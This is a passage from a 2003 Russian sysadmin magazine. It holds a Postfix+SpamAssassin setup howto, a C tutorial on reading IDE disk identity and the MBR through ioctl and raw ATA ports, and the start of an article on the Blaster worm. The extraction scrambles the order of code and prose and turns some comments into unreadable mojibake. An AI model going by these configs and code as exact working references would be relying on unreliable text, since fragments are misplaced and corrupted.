# Åñëè âû íå óêàæåòå äèðåêòèâó dynamic-bootp, âàø DHCP-ñåðâåð# íå áóäåò ðàáîòàòü â ðåæèìå BOOTPrange dynamic-bootp 192.168.1.100 192.168.1.200}

host net_pc1{hardware ethernet 00:00:a1:77:e5:c9fixed-address 192.168.1.117}

Page 52: 010 Системный Администратор 09 2003

50

администрирование

АНДРЕЙ МОЗГОВОЙ

POSTFIX+...+SPAMASSASSINMINI-HOWTO

Спам. Рассылка рекламы. Боротьсяс нежелательной почтой можнопо-разному. Эта статья расскажет,как прикрутить фильтр SpamAssassinк MTA Postfix. Надеюсь, статья получитсявыдержанной в стиле mini-howto.

Page 53: 010 Системный Администратор 09 2003

51№9(10), сентябрь 2003

администрирование

Пожалуйста, не пытайтесь прикрутить фильтр к ненаст-роенному/работающему серверу Postfix. Далее будем по-лагать, что у читателя настроен и нормально работает по-чтовый сервер и уже установлен SpamAssassin.

Установка SpamAssassin (коротко): SpamAssassin – этоperl-модуль. Состоит из трех основных частей:� spamd – daemon, к которому подключается клиент;� spamc – client, который подключается к spamd. На вход

клиенту подаются письма, с выхода забираются от-фильтрованные письма;

� spamassassin – perl-скрипт, работает сам по себе, под-робней – «man spamassassin». Установка подробноописана в файле INSTALL.

Мой Postfix работает в следующей связке: Postfix+Cy-rus-SASL+Mysql+Courier-IMAP+SquirrelMail+DrWeb, а те-перь еще и SpamAssassin.� Postfix – сам MTA;� Cyrus-SASL – используется для авторизации пользо-

вателей (пока только SMTP AUTH);� MySQL – БД – хранит все бюджеты пользователей;� Courier-IMAP – POP3- и IMAP-сервисы;� SquirrelMail – веб-интерфейс для пользователей, кста-

ти, нормально работает с кириллицей;� DrWeb – антивирус, работает как фильтр, в этом соб-

ственно вся проблема и была. Если прикручиватьSpamAssassin как один-единственный фильтр, думаю,проблем особых возникнуть не должно. Схема про-ста, в master.cf прописывам фильтр, например, spam,с опцией:

daemon smtpd, говорим «использовать фильтр spam».Письмо, пришедшее на smtp, переправляется на spamс,spamс проверяет и с помощью sendmail возвращает об-ратно в очередь.

(Кстати, с «:dummy» надо еще поэкспериментировать.)Но SpamAssassin у меня не единственный фильтр, есть

еще и DrWeb. Вот как было все прописано до использова-ния SpamAssassin.

Фильтровать почту будем, используя именно spamc/spamd, а не через perl-скрипт spamassassin. Так оно на-много быстрее… да и вообще симпатичнее.

Создаем в системе пользователя с домашним катало-гом «/etc/mail/spamassassin», shell можно не давать (/bin/fasle).Но валидный shell очень удобен, когда надо добавить/уда-лить какой-нибудь адрес в White/Black List. Решайте сами.Также создаем группу spam. Каталоги /etc/mail/spamassassinи /usr/local/share/spamassassin отдаем в распоряжение бюд-жету spam (chown –R spam.spam /path/to/dir).

С документацией по настройке spamd трудности [2], яиспользовал веб-интерфейс, написанный Michael Moncur [3].Принцип фильтрации следующий: во всех письмах, рас-познанных как спам, поля темы меняются на «SPAM:<original subject>».

Запускаем spamd: прочтите руководство и выберитенеобходимые параметры (man spamd). Меня устроилоследующее:

Уже можно протестировать SpamAssassin. Сохранитеспамовское письмо, которое пришло к вам, на сервере иподайте его на вход spamc (желательно сразу использо-вать параметр -u user).

Письмо пройдет проверку и вернется в очередь MTA,затем опять упадет к вам в Home_Dir. Можете проверятьпочтовый ящик. Если spamd был запущен с опцией «-D» –в лог-файле (скорее всего в /var/log/maillog) вы найдетеподробный отчет о проделанной работе. Работает? От-лично, прикручиваем фильтр в Postfix. (Не работает? Вни-мательно прочтите сообщения в лог-файле.)

Приступим к настройке Postfix. (DrWeb настроен и нор-мально работает.) Есть как минимум два варианта, какподключить SpamAssassin к Postfix.� Первый способ я нашел в статье reVen [6]. Его суть:

передача почты от сервиса к сервису, прописанных вmaster.cf. Но мне такой способ не понравился. Зачемдополнительно использовать Perl в перенаправленияс сокета на сокет? Можно вообще без лишних сокетов(мое личное мнение).

� Может, я изобрел велосипед, но дошел до этого сам, хотяничего сложного в нем нет. Изменяем в master.cf фильт-р\сервис drweb, в сумме получаем следующий файл:

-o content_filter=spam

--- MASTER.CF ---#=====================================================================# service type private unpriv chroot wakeup maxproc command+args# (yes) (yes) (yes)(never) (100)#=====================================================================

smtp inet n - n - 50 smtpd -o content_filter=spam:dummy...# SpamAssassin Filter#

====================================================================spam unix - n n - - pipe

flags=R user=spam argv=/usr/bin/spamc -u spam -e ↵/usr/sbin/sendmail -t

--- END MASTER.CF ---

--- MASTER.CF ---#=====================================================================# service type private unpriv chroot wakeup maxproc command+args# (yes) (yes) (yes)(never) (100)#=====================================================================

smtp inet n - n - 50 smtpd -o content_filter=drweb:dummy

...# DrWeb AntiVirus Filter#=====================================================================

drweb unix - n n - - pipeflags=R user=drweb argv=/opt/drweb/drweb-postfix -f ↵

${sender} -- ${recipient}--- END MASTER.CF ---

/usr/bin/spamd -d -a -c -m 50 -u spam * èñïîëüçóéòå îïöèþ "-D" äëÿ îòëàäêè. * íå çàáóäüòå ïðîïèñàòü spamd â ñòàðòîâûõ ñêðèïòàõ

/usr/bin/spamc -u spam -e /usr/sbin/sendmail –t ↵</path/to/spam_mail

--- MASTER.CF ---#=====================================================================# service type private unpriv chroot wakeup maxproc command+args# (yes) (yes) (yes) (never) (100)#=====================================================================

smtp inet n - n - 50 smtpd

Page 54: 010 Системный Администратор 09 2003

52

администрирование

А вот и маленький, да удаленький скриптик на BASH,который получает письмо от Postfix, проверяет его на spamс помощью spamc и отдает его (письмо) антивирусу DrWeb.

Вот и вся настройка. Еще раз повторюсь, если что-то

-o content_filter=drweb:dummy...# DrWeb AntiVirus Filter and SpamAssassin Filter#

====================================================================drweb unix - n n - - pipe

flags=Ruser=drwebargv=/usr/local/sbin/postfix_filter -f ${sender} ↵

-- ${recipient}--- END MASTER.CF ---

--- /usr/local/sbin/postfix_filter ---#!/bin/sh

(/usr/bin/spamc -u spam -s 1024000 | ↵/opt/drweb/drweb-postfix $@) <&0

--- END /usr/local/sbin/postfix_filter --- * -s – ìàêñèìàëüíûé ðàçðåð ïðîâåðÿåìîãî ïèñüìà, * ïî óìîë÷àíèþ 250k

не работает, внимательно прочтите лог-файлы.

Ссылки:1. SpamAssassin Homesite: http://www.spamassassin.org, в

статье описывается версия 2.55.2. h t t p : / / w w w . s p a m a s s a s s i n . o r g / d o c /

Mail_SpamAssassin_Conf.html3. http://www.yrex.com/spam/spamconfig.php4. http://www.perl.com/CPAN – все необходимое для Perl.5. Postfix Homesite: http://www.postfix.org6. h t tp : / / raven .e lk . ru /un ix /how- to /pos t f i x2+cyrus -

s a s l 2 + k a v + s p a m a s s a s s i n + c o u r i e r -i m a p + t l s + m y s q l + F r e e B S D 4 / p o s t f i x 2 + c y r u s -s a s l 2 + k a v + s p a m a s s a s s i n + c o u r i e r -imap+tls+mysql+FreeBSD4.html – вариант использова-ния Postfix + SpamAssassin

7. Статьи по настройке Postfix: http://www.onix.opennet.ru/mail/mail.html; http://linuxnews.ru/docs/new/isp-mail/version1.2/isp-mail-howto.1.2.rus.txt

Page 55: 010 Системный Администратор 09 2003
Page 56: 010 Системный Администратор 09 2003

54

hardware

РАБОТА С ЖЕСТКИМ ДИСКОМНА ПРОГРАММНОМ УРОВНЕ

ВЛАДИМИР МЕШКОВ

Page 57: 010 Системный Администратор 09 2003

55№9(10), сентябрь 2003

hardware

В номере 3(4) журнала «Системный администратор» былаопубликована статья Алексея Серебрякова «Основы сис-тем хранения данных». В продолжение данной темы да-вайте рассмотрим, как осуществить доступ к IDE-дискуна программном уровне при помощи файла устройства ичерез порты ATA-контроллера.

Файлы устройствФайл – основа любой операционной системы, посколь-ку именно с ним производится наибольшее число дей-ствий. В UNIX- и POSIX-системах существуют файлы сле-дующих типов:� обычный файл;� каталог;� FIFO-файл;� байт-ориентированный файл устройства;� блок-ориентированный файл устройства.

Блок-ориентированный файл устройства служит дляпредставления физического устройства, которое пере-дает данные блоками. Примером блок-ориентированно-го устройства является жесткий диск. Байт-ориентиро-ванный файл устройства служит для представления фи-зического устройства, которое передает данные побай-тово (например, модем). Прикладная программа можетвыполнять операции чтения и записи с файлом устрой-ства так же, как с обычным файлом, а операционнаясистема будет автоматически вызывать соответствую-щий драйвер устройства для выполнения фактическойпередачи данных между физическим устройством и при-ложением. Файл устройства создается командой mknod,одним из аргументов которой является старший номерустройства (major device number). По сути, старший но-мер – это индекс в таблице ядра, которая содержит ад-реса всех драйверов, известных системе. В ОС Linuxсоздаются две таблицы – таблица блочных устройств(block device switch) и таблица символьных устройств(character device switch). Обе таблицы являются масси-вом структур и проиндексированы при помощи значе-ния старшего номера устройства. Таблица блочных ус-тройств определена в файле fs/block_dev.c следующимобразом:

Этот массив заполняется во время регистрации блочно-го устройства в системе. Для регистрации устройства соот-ветствующий драйвер вызывает функцию register_blkdev (см.файл fs/block_dev.c):

Аргумент major – старший номер устройства, name – имя

файла устройства, структура struct block_device_operationsсодержит функции, выполняемые драйвером устройства.Однако функции read и write в этой структуре отсутству-ют. Дело в том, что пользовательский процесс не выпол-няет напрямую операции чтения/записи в блочное устрой-ство. Для этой цели драйвер предоставляет системе ме-ханизм request, и все операции ввода/вывода выполня-ются через буферный кеш системы, но это тема для от-дельной статьи.

При снятии регистрации соответствующий элементмассива blkdevs обнуляется:

Таблица символьных устройств определена в фай-ле fs/devices.c и также является массивом структур, ко-торый заполняется при регистрации устройства в сис-теме:

Структура struct file_operations определена в файле<linux/fs.h> и содержит функции, выполняемые драйве-ром символьного устройства.

Когда пользовательский процесс читает данные изфайла устройства или записывает их, ядро, используястарший номер устройства в качестве индекса, находит всоответствующей таблице нужную процедуру драйвера ивыполняет запрашиваемое действие.

Кроме операций чтения/записи драйвер также предо-ставляет возможность управления устройством. Опера-ция управления осуществляется при помощи функцииioctl. Эта функция вызывается пользовательским процес-сом и имеет следующий прототип:

Аргументы функции: int fd – файловый дескриптор ус-тройства; int cmd – команда, посылаемая устройству. Тре-тий параметр является специфичным для каждого устрой-ства, поэтому в прототипе функции не указан.

Доступ к жесткому дискучерез файл устройстваПредположим, что в системе присутствует один нако-питель на жестком магнитном диске, который подклю-чен как Primary Master. Согласно обозначениям блоч-ных устройств, принятым в ОС Linux, ему соответству-ет файл устройства /dev/hda. Разработаем программ-ный модуль, выполняющий чтение первого сектора(MBR) и получающий информацию об устройстве, та-кой, как модель жесткого диска, его серийный номер,

static struct {const char *name;struct block_device_operations *bdops;

} blkdevs[MAX_BLKDEV];

int register_blkdev(unsigned int major, const char * name,struct block_device_operations *bdops)

{....blkdevs[major].name = name;blkdevs[major].bdops = bdops;return 0;

}

int unregister_blkdev(unsigned int major, const char * name){

....blkdevs[major].name = NULL;blkdevs[major].bdops = NULL;return 0;

}

struct device_struct {const char * name;struct file_operations * fops;

};

static struct device_struct chrdevs[MAX_CHRDEV];

int ioctl(int fd, int cmd, ...);

Page 58: 010 Системный Администратор 09 2003

56

hardware

геометрию (число цилиндров/головок/секторов) и чис-ло логических блоков.

Нам понадобятся следующие заголовочные файлы:

В файле <linux/hdreg.h> определена структура structhd_driveid, предназначенная для хранения информацииидентификации устройства, и перечень команд управле-ния устройством.

Для доступа к устройству достаточно стандартнымспособом открыть соответствующий файл устройства:

Для получения информации идентификации устрой-ства посылаем команду HDIO_GET_IDENTITY. Коман-да идентификации позволяет считать из контроллераблок из 256 слов, характеризующих устройство. Резуль-тат будет сохранен в структуре struct hd_driveid ide, ад-рес которой задается в качестве третьего аргументафункции ioctl:

Как уже было упомянуто, перечень команд управле-ния устройством определен в файле <linux/hdreg.h>. На-пример, команды включения 32-битного режима обменаданными, режима DMA и мультисекторного чтения выг-лядят следующим образом:

Отобразим информацию идентификации устройства:

Считываем первый сектор и сохраняем его в отдель-ном файле:

Как вы видите, доступ к жесткому диску через файлустройства наиболее простой и удобный, т.к. позволя-ет абстрагироваться от деталей функционирования ус-тройства.

Давайте теперь посмотрим на жесткий диск с точкизрения драйвера, но в начале – немного теории.

Интерфейс АТАНиже приведены краткие сведения об интерфейсе АТА-2.Для получения детальной информации обратитесь к спе-цификации.

Регистры АТА-контроллераКаждое устройство АТА (жесткий диск с интерфейсомАТА) имеет стандартный набор регистров, адресуемыхсигналами от хост-адаптера (средства сопряжения интер-фейса АТА с системной шиной). Набор регистров состоитиз двух блоков – блока командных регистров и блока уп-равляющих регистров.

Блок командных регистров служит для посылки командустройству и передачи информации о его состоянии. Со-став блока командных регистров:� Регистр состояния/команд – в режиме чтения отража-

ет текущее состояние устройства в процессе выпол-нения команды. Чтение регистра состояния разреша-ет дальнейшее изменение его бит и сбрасывает зап-рос аппаратного прерывания. В режиме записи при-нимает коды команд для выполнения. Назначение битрегистра состояния:� Бит 7 – BSY (Busy) указывает на занятость устрой-

ства. При единичном значении устройство игнори-рует попытки записи в блок командных регистров.При нулевом значении этого бита регистры коман-дного блока доступны. Бит устанавливается поддействием аппаратного или программного сброса,а также при получении команды.

� Бит 6 – DRDY (Device Ready) указывает на готов-ность устройства к восприятию любых кодов ко-манд.

� Бит 5 – DF (Device Fault) – индикатор отказа уст-ройства.

� Бит 4 – DSC (Device Seek Complite) – индикатор за-вершения поиска трека.

� Бит 3 – DRQ (Data Request) – индикатор готовнос-ти к обмену словом или байтом данных.

� Бит 2 – CORR (Correct Data) – индикатор исправ-ленной ошибки данных.

� Бит 1 – IDX (Index) – индекс трактуется специфичнодля каждого производителя. Бит 0 – ERR (Error) –индикатор ошибки выполнения предыдущей опе-рации. Дополнительная информация содержится врегистре ошибок.

#include <stdio.h>#include <fcntl.h>#include <unistd.h>#include <sys/types.h>#include <errno.h>#include <linux/hdreg.h>

int main(){

struct hd_driveid ide;int hda, sect;char sector[512];

hda=open("/dev/hda",O_RDONLY);if(!hda) {

perror("hda");}

sect=open("mbr",O_CREAT|O_RDWR,0600);if(!sect) {

perror("sect");}

if(ioctl(hda,HDIO_GET_IDENTITY,&ide)) ↵perror ("HDIO_GET_IDENTITY");

static u_long dma=1, io32set=1, mult=16;if(ioctl(hda,HDIO_SET_32BIT,io32set)) ↵

perror("HDIO_SET_32BIT");if(ioctl(hda,HDIO_SET_DMA,dma)) perror("HDIO_SET_DMA");if(ioctl(hda,HDIO_SET_MULTCOUNT,mult)) ↵

perror("HDIO_SET_MULTCOUNT");

printf("Ñåðèéíûé íîìåð – %s\n",ide.serial_no);printf("Ìîäåëü – %s\n",ide.model);printf("×èñëî ëîãè÷åñêèõ áëîêîâ – %d\n",ide.lba_capacity);printf("×èñëî öèëèíäðîâ – %d\n",ide.cyls);printf("×èñëî ãîëîâîê – %d\n",ide.heads);printf("×èñëî ñåêòîðîâ – %d\n",ide.sectors);

read(hda,sector,sizeof(sector));write(sect,sector,sizeof(sector));

close(hda);close(sect);

return (0);}

Page 59: 010 Системный Администратор 09 2003

57№9(10), сентябрь 2003

hardware

� Регистр номера цилиндра (старшего и младшегобайта) и номера сектора имеют двоякое назначениев зависимости от выбранной системы адресации(CHS или LBA). Они инициализируются хост-адап-тером, а в случае возникновения ошибки при опе-рации устройство поместит в них адрес, по которо-му встретилась ошибка.

� Регистр номера устройства и головки, кроме хране-ния части адресной информации, служит для выбо-ра ведущего или ведомого устройства (Device-0 иDevice-1 согласно спецификации ATA) и метода ад-ресации.� Биты 7 и 5 – зарезервированы.� Бит 6 – единичным значением указывает на при-

менение режима адресации LBA. При нулевом зна-чении бита используется режим CHS.

� Бит 4 – DEV (Device) – выбор устройства. При DEV=0выбрано устройство-0 (Master), при DEV=1 – уст-ройство-1 (Slave).

� Биты 3-0 имеют двоякое назначение, в зависимос-ти от выбранной системы адресации. В режиме CHSони содержат номер головки, в режиме LBA – стар-шие биты логического адреса.

� Регистр данных может использоваться как 8-битный и16-битный, в зависимости от типа данных, передавае-мых в текущей команде.

� Регистр ошибок хранит состояние выполнения после-дней операции или диагностический код.

� Регистр свойств (Features Register) используется в за-висимости от команды.

� Регистр счетчика секторов содержит число секторов,участвующих в обмене. Нулевое значение соответству-ет 256 секторам.

Блок управляющих регистров используется для уп-равления устройством и получения байта его состояния.В состав блока входят альтернативный регистр состоя-ния и регистр управления устройством. Альтернативныйрегистр состояния имеет те же биты, что и основной, ноего чтение не приводит ни к каким изменениям состоя-ния устройства.

В регистре управления устройством биты 7-3 заре-зервированы, бит 0 всегда нулевой, используются толь-ко два бита:� Бит 2 – SRST (Software Reset) – программный сброс

действует все время, пока бит не будет сброшен. Обаустройства шины воспринимают программный сбросодновременно.

� Бит 1 – IEN# (Interrupt Enable) – инверсный бит разре-шения прерывания.

Адреса регистров контроллера устройства 0 опреде-лены в файле <linux/hdreg.h>:

Протокол взаимодействияОбычный протокол взаимодействия хоста с устройствомвыглядит следующим образом:1. Хост читает регистр состояния устройства, дожидаясь

нулевого значения бита BSY.2. Дождавшись освобождения устройства, хост записы-

вает в регистр номера устройства и головки байт, укоторого бит DEV указывает на адресуемое устрой-ство.

3. Хост читает основной регистр состояния адресован-ного устройства, дожидаясь признака его готовности(DRDY = 1).

4. Хост заносит требуемые параметры в блок командныхрегистров.

5. Хост записывает код команды в регистр команд.6. Устройство устанавливает бит BSY и переходит к ис-

полнению команды.

Для команд, не требующих передачи данных (ND):7. Завершив исполнение команды, устройство сбрасы-

вает бит BSY и устанавливает запрос прерывания. Кэтому моменту в регистрах состояния и ошибок ужеимеется информация о результате выполнения.

Для команд, требующих чтения данных в режиме PIO:7. Подготовившись к передаче первого блока данных по

шине АТА, устройство устанавливает бит DRQ. Еслибыла ошибка, она фиксируется в регистрах состоянияи ошибок. Далее устройство сбрасывает бит BSY и ус-танавливает запрос прерывания.

8. Зафиксировав обнуление бита BSY (или по прерыва-нию), хост считывает регистр состояния, что приводитк сбросу прерывания от устройства.

9. Если хост обнаружил единичное значение бита DRQ,он производит чтение первого блока данных в режи-ме PIO (адресуясь к регистру данных). Если обнару-жена ошибка, считанные данные могут быть недосто-верными.

После передачи блока данных возможно одно из сле-дующих действий:� если на шаге 8 ошибка не обнаружена, а требуется

передача следующего блока, устройство устанавлива-ет бит BSY, и данная последовательность повторяет-ся с шага 7.

� если есть ошибка или передан последний блок дан-ных, устройство сбрасывает бит DRQ и выполнениекоманды завершается.

Операцию записи на жесткий диск рассматривать небудем.

/* ðåãèñòð äàííûõ */#define HD_DATA 0x1f0/* ðåãèñòð îøèáîê */#define HD_ERROR 0x1f1/* ðåãèñòð ñ÷åò÷èêà ñåêòîðîâ */#define HD_NSECTOR 0x1f2/* ðåãèñòð ñòàðòîâîãî ñåêòîðà */

#define HD_SECTOR 0x1f3/* ðåãèñòð ìëàäøåãî áàéòà íîìåðà öèëèíäðà*/#define HD_LCYL 0x1f4/* ðåãèñòð ñòàðøåãî áàéòà íîìåðà öèëèíäðà */#define HD_HCY 0x1f5/* 101dhhhh, d=óñòðîéñòâî, hhhh=ãîëîâêà */#define HD_CURRENT 0x1f6/* ðåãèñòð ñîñòîÿíèÿ/êîìàíä */#define HD_STATUS 0x1f7

Page 60: 010 Системный Администратор 09 2003

58

hardware

Доступ к жесткому дискучерез порты АТА-контроллераЗадача прежняя – получить информацию идентифика-ции устройства и считать MBR. Рассмотрим программ-ный код.

Заголовочные файлы:

Для работы с портами ввода/вывода определим не-сколько макросов:

Макрос OUT_P_B осуществляет запись байта в порт,макросы IN_P_B и IN_P_W – чтения байта/слова из порта.

Для работы с устройством определим несколько фун-кций.

Функция проверки статуса устройства (занято/свобод-но):

Проверка статуса устройства осуществляется провер-кой значения бита 7 (BSY) регистра состояния. Если битсброшен, устройство свободно и регистры контроллерадоступны.

Функция проверки готовности устройства к восприя-тию команд:

Устройство готово, если бит 6 (DRDY) регистра состо-яния установлен.

Функция проверки готовности устройства к обменуданными:

Если бит 3 (DRQ) регистра состояния установлен, дан-ные находятся в регистре данных и готовы для считывания.

Следующая функция проверяет, не произошла лиошибка при работе устройства:

Установленный бит 0 (ERR) регистра состояния озна-чает, что при выполнении последней операции произош-ла ошибка. Дополнительная информация содержится в ре-гистре ошибок.

А теперь рассмотрим функцию получения информа-ции идентификации устройства.

В соответствии с протоколом взаимодействия прове-ряем статус устройства. Оно должно быть свободно:

Как только устройство освободилось, в регистр но-мера устройства и головки заносим значение 0xA0(10100000 в двоичном виде). Бит 4 (DEV) равен 0, сле-довательно, нами выбрано ведущее устройство. Режимадресации в данном случае роли не играет, бит 6 оста-вим нулевым:

Ожидаем готовность устройства к восприятию команд:

Итак, устройство готово. В регистр команд (HD_STATUS)записываем код команды идентификации устройства –0xEC. Данная команда выполняется в режиме PIO. Пол-ный перечень команд смотрите в спецификации:

#define OUT_P_B(val,port) \asm( \

"outb %%al, %%dx" \::"a"(val),"d"(port) \

)

#define IN_P_B(val,port) \asm( \

"inb %%dx, %%al" \:"=a"(val) \:"d"(port) \

)

#define IN_P_W(val,port) \asm( \

"inw %%dx, %%ax" \:"=a"(val) \:"d"(port) \

)

void hd_busy(){

unsigned char status;

do {IN_P_B(status,HD_STATUS);

} while (status & 0x80);return;

}

void hd_ready(){

unsigned char status;

do {IN_P_B(status,HD_STATUS);

} while (!(status & 0x40));return;

}

int hd_data_request(){

unsigned char status;IN_P_B(status,HD_STATUS);if(status & 0x8) return 1;return 0;

}#include <stdio.h>#include <fcntl.h>#include <unistd.h>#include <linux/hdreg.h>

void check_error(){

unsigned char a;

IN_P_B(a,HD_STATUS);if (a & 0x1) {

perror("HD_STATUS");exit(-1);

}return;

}

void get_hd_identity(struct hd_driveid *hd){

unsigned short a = 0;int i = 0;

unsigned short buff1[0x100];memset(buff1,0,0x100);

hd_busy();

OUT_P_B(0xA0,HD_CURRENT);

hd_ready();

OUT_P_B(0xEC,HD_STATUS);

Page 61: 010 Системный Администратор 09 2003

59№9(10), сентябрь 2003

hardware

В ответ на эту команду устройство установит битDRQ и вернет блок данных, содержащих информациюидентификации. Для считывания информации органи-зуем цикл:

Дождавшись освобождения устройства, при помощифункции check_error() читаем регистр состояния. При этоммы сбрасываем прерывание от устройства и проверяем,не произошла ли ошибка. Затем считываем из регистраданных значение. Считывание производим до тех пор,пока установлен бит DRQ. Как только будет передан пос-ледний блок данных, устройство этот бит сбросит. Счи-танную информацию сохраним в буфере buff1.

Копируем полученную информацию из буфера buff1 вструктуру struct hdreg hd:

Очищаем буфер и выходим:

Следующая функция осуществляет чтение сектора врежиме адресации CHS.

Аргументы функции:� N – число секторов для чтения;� s_sect – стартовый сектор;� s_cyl – стартовый цилиндр;� head – номер головки;� buff – буфер, куда все помещается.

Ожидаем освобождения устройства:

В регистр номера устройства и головки заносим соот-ветствующие данные. Бит 6 сброшен, что указывает нарежим адресации CHS:

Ждем готовность устройства к приему команд:

В блок командных регистров заносим требуемые па-раметры:

В регистр команд записываем код команды чтениясекторов с повторами – 0x20. Данная команда выполня-ется в режиме PIO:

Считываем блок данных в буфер buff:

Считываем последние 4 байта и выходим из функции:

Функция чтения сектора в режиме адресации LBA.

Аргументы функции:� N – число секторов для чтения;� lba – номер блока;� buff – буфер, куда все помещается.

Ожидаем освобождения устройства:

Спецификацией АТА-2 в режиме LBA предусмотрен 28-битный адрес сектора размером 512 байт, при этом макси-мальный объем ограничивается значением 0,5 терабайт.

В регистре номера устройства и головки бит 6 уста-навливаем в 1, а биты 3-0 будут содержать старшие битылогического адреса (27-24):

Ожидаем готовность устройства к приему команд:

do {hd_busy();check_error();IN_P_W(a,HD_DATA);if((i>=10 && i<=19) || (i>=27 && i<=46))asm(

"xchgb %%ah, %%al":"=a"(a):"0"(a));

buff1[i++] = a;} while(hd_data_request());

memcpy(hd,(struct hdreg *)buff1,0x100);

memset(buff1,0,0x100);return;

}

void read_hd_sector_chs(unsigned short N, ↵unsigned short s_sect, unsigned short s_cyl, ↵unsigned short head, unsigned short *buff)

{

int i = 0;unsigned short a;

if((!N) || (!s_sect)) return;

hd_busy();

OUT_P_B(0xA0|head,HD_CURRENT);

hd_ready();

OUT_P_B(N,HD_NSECTOR);OUT_P_B(s_sect,HD_SECTOR);OUT_P_B(s_cyl,HD_LCYL);OUT_P_B((s_cyl >> 8),HD_HCYL);

OUT_P_B(0x20,HD_STATUS);

do {hd_busy();check_error();IN_P_W(a,HD_DATA);buff[i++] = a;

} while(hd_data_request());

IN_P_W(a,HD_DATA);buff[i++] = a;

IN_P_W(a,HD_DATA);buff[i] = a;

return;}

void read_hd_sector_lba(unsigned short N, ↵unsigned int lba, unsigned short *buff)

{

int i = 0;unsigned short a;

if(!N) return;

hd_busy();

OUT_P_B(0xE0|((lba & 0x0F000000) >> 24),HD_CURRENT);

hd_ready();

Page 62: 010 Системный Администратор 09 2003

60

hardware

В блок командных регистров заносим требуемые па-раметры:

В регистр номера сектора заносим биты 7-0 логичес-кого адреса:

В регистр младшего байта номера цилиндра – биты15-8 логического адреса:

В регистр старшего байта номера цилиндра – биты23-16 логического адреса:

В регистр команд – команду чтения секторов с повто-рами:

Получаем результат:

Считываем последние 4 байта и выходим:

Рассмотрим главную функцию:

Определим необходимые структуры и переменные:

Чтобы не схлопотать Segmentation fault, запросим у си-

стемы разрешение доступа к портам в диапазоне 0x1f0 –0x1f7:

Вызовем функцию получения информации идентификации.Результат будет помещен в структуру struct hd_driveid hd:

Отобразим результаты:

А теперь прочитаем первый сектор устройства (MBR)в режиме CHS:

Запишем в файл результат:

То же самое – в режиме LBA:

Весь вышеприведенный код сохраним в файле disk.c.Исполняемый модуль получим, введя команду:

Работоспособность кода была проверена для ОС Linux,версия ядра 2.4.20.

Как вы понимаете, рассмотреть в рамках одной ста-тьи всю систему команд стандарта АТА не представляет-ся возможным, да мы и не ставили перед собой такуюцель. Желающие могут продолжить освоение даннойтемы, изучив спецификацию и систему команд стандар-та АТА либо исходные тексты утилиты hdparm.

Литература:1. Теренс Чан. Системное программирование на С++ для

UNIX. Пер. с англ. – К.: Издательская группа BHV,1999. – 592 с.

2. Гук. М. Интерфейсы ПК: справочник – СПб: Питер Ком,1999. – 416 с.

OUT_P_B((lba & 0x000000FF),HD_SECTOR);

OUT_P_B(((lba & 0x0000FF00) >> 8),HD_LCYL);

OUT_P_B(((lba & 0x00FF0000) >> 16),HD_HCYL);

OUT_P_B(0x20,HD_STATUS);

do {hd_busy();check_error();IN_P_W(a,HD_DATA);buff[i++] = a;

} while(hd_data_request());

IN_P_W(a,HD_DATA);buff[i++] = a;

IN_P_W(a,HD_DATA);buff[i] = a;

return;}

int main (){

struct hd_driveid hd;

int out;unsigned short N = 1;unsigned int sect, cyl, head, lba;

/* * N – ÷èñëî ñåêòîðîâ äëÿ ÷òåíèÿ * sect – íîìåð ñåêòîðà * cyl – íîìåð öèëèíäðà * head – íîìåð ãîëîâêè * lba – íîìåð ëîãè÷åñêîãî áëîêà */

unsigned short buff[0x100*N];

memset(buff,0,0x100*N);memset(&hd,0,sizeof(struct hd_driveid));

ioperm(0x1f0,8,1);

get_hd_identity(&hd);

printf("Ñåðèéíûé íîìåð – %s\n",hd.serial_no);printf("Ìîäåëü – %s\n",hd.model);printf("×èñëî öèëèíäðîâ - %d\n",hd.cur_cyls);printf("×èñëî ãîëîâîê – %d\n",hd.cur_heads);printf("×èñëî ñåêòîðîâ – %d\n",hd.cur_sectors);printf("×èñëî ëîãè÷åñêèõ áëîêîâ – %d\n",hd.lba_capacity);

sect = 1;cyl = 0;head = 0;

read_hd_sector_chs(N,sect,cyl,head,buff);

out=open("sect_chs", O_CREAT|O_RDWR, 0600);write(out,(unsigned char *)buff,0x200*N);close(out);

lba = 0;read_hd_sector_lba(N,lba,buff);

out=open("sect_lba", O_CREAT|O_RDWR, 0600);write(out,(unsigned char *)buff,0x200*N);close(out);

ioperm(0x1f0,8,0);

return (0);}

gcc -o disk disk.c

OUT_P_B(N,HD_NSECTOR);

Page 63: 010 Системный Администратор 09 2003
Page 64: 010 Системный Администратор 09 2003

62

безопасность

ВИКТОР ИГНАТЬЕВ

ОЧЕРЕДНАЯ ВЕСКАЯ ПРИЧИНАЗАДУМАТЬСЯ О ПЕРЕХОДЕС ОС WINDOWS НА АЛЬТЕРНАТИВУ

Page 65: 010 Системный Администратор 09 2003

63№9(10), сентябрь 2003

безопасность

12 августа, Швеция. 40 серверов интернет-провайдераTeliaSonera в постоянной перезагрузке, администраторы впанике, 20 000 клиентов подверглись атаке компьютеровсвоего же провайдера, компания на грани банкротства.

По всей Азии и Европе большинство корпоративныхсетей подвергаются ежеминутной атаке. Многие корпо-рации несут тысячные убытки, т.к. компьютеры не позво-ляют обслуживать клиентов.

К концу дня информационные агентства в Дании со-общили, что на данный момент парализована работа при-близительно 2000 компьютеров, и эта цифра постоянноувеличивается.

В Германии известный автомобильный гигант BMWпризнал, что многие компьютеры корпорации работаютнекорректно.

Что же это? Массовая атака хакеров? Или, может быть,сбой в операционной системе? Нет, в очередной раз весьмир стал свидетелем воплощения в жизнь реального прин-ципа корпорации Microsoft: «Сначала деньги, а пользовате-ли потом». Многие администраторы и простые пользовате-ли ещё помнят Nimda и Code Red, помнят фразу «Hacked bychinese», и теперь этот список дополнит ещё один –W32.Lovsan.worm, так же он известен как W32.Blaster.

Итак, рассмотрим подробнее суть проблемы. 16 июля наbugtraq пришло письмо от польской хакерской группы LastStage of Delirium. Они заявили, что обнаружили критичес-кую уязвимость защиты во всех недавних версиях операци-онных систем корпорации Microsoft. Уязвимость затрагива-ет заданные по умолчанию инсталляции Windows NT 4.0,Windows 2000, Windows XP, а также Windows 2003 Server,которая, кстати, была разрекламирована как не воспри-имчивая к атакам на переполнение буфера. Это ещё одноподтверждение что «Сначала реклама, а потом дело, иуж после этого может быть качество».

LSD предоставили общественности proof of conceptcode, но полный исходный код эксплоита не был опубли-кован, т.к. это повлекло бы за собой массовые взломы исоздание червей.

